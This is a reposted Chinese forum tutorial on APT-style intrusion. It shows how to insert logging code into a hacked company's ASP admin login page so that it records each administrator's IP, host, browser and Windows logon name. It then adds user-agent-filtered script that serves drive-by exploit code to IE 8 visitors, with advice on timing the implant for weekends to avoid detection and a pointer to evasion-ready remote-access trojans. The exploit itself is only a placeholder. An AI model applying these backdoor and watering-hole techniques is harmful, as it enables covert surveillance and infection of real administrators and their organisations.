首页
社区
课程
招聘
[转帖]APT持续性综合渗透经验谈第一讲 从Web到PC 1
发表于: 2013-5-1 15:48 1106

[转帖]APT持续性综合渗透经验谈第一讲 从Web到PC 1

2013-5-1 15:48
1106
本帖以某个中小型公司为例,讲述APT进行“踩点”的一个简单方式,本帖子中的踩点比较简单,但是却是迈开持续性渗透的第一步
目标公司具有一定规模,拥有自己的Web站点,也有自己公司的网络出口,公司网站使用的是虚拟主机,并且有自己的邮件服务器。
因为直接取邮件服务器的成功率非常低,成功率甚至低于1%,所以我们选择了对Web网站进行攻击。
取Web服务器这一步,本帖子中就不再陈述,因为这并不属于我们要在本贴中认真探讨的话题,事实上,即使取不到Web服务器,我们仍然有其他的办法。
我们取到Web服务器的唯一价值就是,摸清这个公司的网络进出口,以及对网站的管理员进行持续性攻击
首先要从管理员那里获得信息,就要从管理入口下手

截图中已经显示了这个后台中的完整form表格,当default.asp文件对cmd变量取值为login时,后台程序将验证管理员密码的正确性。
那么我们再来看看default.asp的代码:

......

if request("cmd")="login"  then

username=safe(request.form("username"))

password=safe(request.form("password"))

if trim(username)="" or trim(password)="" then

        showmsg "请填写登陆信息",2,"default.asp"

end if

set rs=server.createobject("adodb.recordset")

sql="select seq,username,password,truename,user_role,sex from admin32 where username='"&username&"' and user_role>1"

rs.open sql,conn,1,1

if rs.eof or rs.bof then

        showmsg "用户名不存在",2,"default.asp"

end if

if md5(password)<>trim(rs("password")) then

        showmsg "密码错误",2,"default.asp"

else

        session("userid")=rs("seq")

        session("user_role")=rs("user_role")

        session("islogin")=true

        session("sex")=rs("sex")

        session("netlogin")="82090704"

        session("passwd")=md5(password)

        session("username")=username

        session("truename")=rs("truename")

        showmsg "登陆成功!",2,"main.asp"

end if

......

我们可以看到当cmd取值为login的时候,default都执行了什么代码,最后的else后面是登陆成功后系统执行的代码
这里正好是我们可以利用的代码,既然登陆成功的一定是管理员(这个前提当然是这个网站已经没有可以被小黑利用的漏洞的前提了)
我们既然要利用这里对管理员进行信息收集,那么可以插入一些简单的成型的代码:

......

if request("cmd")="login"  then

username=safe(request.form("username"))

password=safe(request.form("password"))

if trim(username)="" or trim(password)="" then

        showmsg "请填写登陆信息",2,"default.asp"

end if

set rs=server.createobject("adodb.recordset")

sql="select seq,username,password,truename,user_role,sex from admin32 where username='"&username&"' and user_role>1"

rs.open sql,conn,1,1

if rs.eof or rs.bof then

        showmsg "用户名不存在",2,"default.asp"

end if

if md5(password)<>trim(rs("password")) then

        showmsg "密码错误",2,"default.asp"

else

'首先建立一个用于记录管理员信息的文件record.html

        rfile = "record.html"

'这是记录管理员ip的代码

        userip = Request.ServerVariables("HTTP_X_FORWARDED_FOR")

        If userip = "" Then userip = Request.ServerVariables("REMOTE_ADDR")

        userhost = Request.ServerVariables("Remote_Host")

'这里记录登陆者的浏览器和系统信息

        uuser = Request.ServerVariables("HTTP_USER_AGENT")

'这里是记录已经登陆的WinNT账户的,成功率低于1‰

        userlogin = Request.ServerVariables("LOGON_USER")

'最后对数据进行格式化整理和写入文件

        data = "<pre>" & vbcrlf & "User Host: " & userhost & "<br />" & vbcrlf & "User IP: " & userip & "<br />" & vbcrlf & "User Agent: " & uuser & "<br />" & vbcrlf & "System Login Name: " & userlogin & "<br />" & vbcrlf & "Time: " & now & "<br />" & vbcrlf & "</pre>" & vbcrlf & "<hr><br />" & vbcrlf

        Set Fs=Server.CreateObject("Scripting.FileSystemObject")
        Set File=Fs.OpenTextFile(Server.MapPath(rfile),8,Flase)

        File.Writeline data

        File.Close

'记录结束

        session("userid")=rs("seq")

        session("user_role")=rs("user_role")

        session("islogin")=true

        session("sex")=rs("sex")

        session("netlogin")="82090704"

        session("passwd")=md5(password)

        session("username")=username

        session("truename")=rs("truename")

        showmsg "登陆成功!",2,"main.asp"

end if

......

......

if request("cmd")="login"  then

username=safe(request.form("username"))

password=safe(request.form("password"))

if trim(username)="" or trim(password)="" then

        showmsg "请填写登陆信息",2,"default.asp"

end if

set rs=server.createobject("adodb.recordset")

sql="select seq,username,password,truename,user_role,sex from admin32 where username='"&username&"' and user_role>1"

rs.open sql,conn,1,1

if rs.eof or rs.bof then

        showmsg "用户名不存在",2,"default.asp"

end if

if md5(password)<>trim(rs("password")) then

        showmsg "密码错误",2,"default.asp"

else

'首先建立一个用于记录管理员信息的文件record.html

        rfile = "record.html"

'这是记录管理员ip的代码

        userip = Request.ServerVariables("HTTP_X_FORWARDED_FOR")

        If userip = "" Then userip = Request.ServerVariables("REMOTE_ADDR")

        userhost = Request.ServerVariables("Remote_Host")

'这里记录登陆者的浏览器和系统信息

        uuser = Request.ServerVariables("HTTP_USER_AGENT")

'这里是记录已经登陆的WinNT账户的,成功率低于1‰

        userlogin = Request.ServerVariables("LOGON_USER")

'最后对数据进行格式化整理和写入文件

        data = "<pre>" & vbcrlf & "User Host: " & userhost & "<br />" & vbcrlf & "User IP: " & userip & "<br />" & vbcrlf & "User Agent: " & uuser & "<br />" & vbcrlf & "System Login Name: " & userlogin & "<br />" & vbcrlf & "Time: " & now & "<br />" & vbcrlf & "</pre>" & vbcrlf & "<hr><br />" & vbcrlf

        Set Fs=Server.CreateObject("Scripting.FileSystemObject")
        Set File=Fs.OpenTextFile(Server.MapPath(rfile),8,Flase)

        File.Writeline data

        File.Close

'记录结束

        session("userid")=rs("seq")

        session("user_role")=rs("user_role")

        session("islogin")=true

        session("sex")=rs("sex")

        session("netlogin")="82090704"

        session("passwd")=md5(password)

        session("username")=username

        session("truename")=rs("truename")

        showmsg "登陆成功!",2,"main.asp"

end if

......
正常情况下,一个公司都是周一至周五办公,因此这段记录代码我们是从周一上班之前插入,通常是周末将这段代码插入到目标公司的后台,并且要在周日晚之前调试完成。
这里之所以要注意时间,因为目标公司不一定是在中国本土,可能在日韩,或者北美,欧洲,他们的时区要注意。
另外也插代码插失败的时候,管理员如果刚好在线,就会很悲剧,给渗透的后半段造成的严重阻碍。无巧不成书的,调试代码错误的时候管理员刚巧在线的情况又不是没有过,所以一定要注意。

对于这个信息采集,并不是一次性完成的,我们需要对管理员的登陆频率,登陆地点以及使用的系统环境如何,都有一定的掌握。
这个采集首先进行一个完整的礼拜,这个礼拜只进行记录和统计,不进行下一步动作。
我们来看一下我们统计的结果:

一个礼拜下来,我们发现每天管理员都登陆网站后台一次,我们共记录到了5次
周一:Windows XP,Safari浏览器
周二:Windows XP,IE 8
周三:Windows XP,IE 6, .NET 2.0 & .NET 4.0
周四:Windows XP,IE 8
周五:Windows XP,IE 6

这里的ip是同一个ip,所以我们可以确认这个ip肯定是目标公司的出入口。

其次,我们看到至少有4台不同的机器登陆后台,我们逐一分析。
周一的机器我们猜测可能是管理员的PC,笔记本之类的,可能是周末带回家做了什么东西,周一带回来使用并登陆了后台,这台机器估计安全性应该较高
周二和周四的机器可能是同一台机器,IE8可以利用近期的Java漏洞挂马
周三的机器是IE6,装了.NET FrameWork,有理由怀疑是有某个公司内部使用的程序,例如人事管理系统,财务管理系统

这里选择下手的机器也是要深思熟虑的。
如果直接对周三的机器下手,用.NET的安全问题挂马,可能会成功,但是这台机器登陆的频率可能不会很多,而且如果不巧是其他机器登陆的,那么挂马不但失败,而且还会被发现
虽然挂马是可以根据浏览器版本等信息进行筛选,可是周五的机器也是IE 6,总之直接对周三的机器下手,至少要等到拿到一台目标公司的机器以后才能进行。
一次,我们在这里决定使用近期出现的java漏洞,对周二和周四的IE 8进行攻击。

这样的话,我们就来构造挂马脚本:

'这里的uuser变量是前面取到的浏览器信息 user_agent

Agent=Split(uuser,";")

If InStr(Agent(1),"MSIE")>0 Then

        version=Trim(Left(Replace(Agent(1),"MSIE",""),6))

        If InStr(version,")") > 0 Then

                tmpstr=Split(version,")")

                version=tmpstr(0)

        End If

End If

'上面对浏览器版本判断和取值完毕以后,针对不同版本进行攻击

if version="8.0" then

        response.Write("挂马代码")

end if

这里的挂马也是要经过调试的,调试的时间和信息收集一样,仍然是在周末中进行,要在周日晚之前调试成功并且结束。剩下的就是坐等管理员上线了。
至于网马代码从哪里搞,这个就是要关注各个安全发布平台了,免杀呢,习科有专门的免杀远控,甚至还有成熟的dll劫持远控,这里就不详细阐述了,毕竟习科是个技术平台而不是个木马传播平台。
本帖中的内容比较基本和简单,后面将陆续深入讲解,仍然是以灌输思想为主,敬请期待
//BlackBap.Org

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//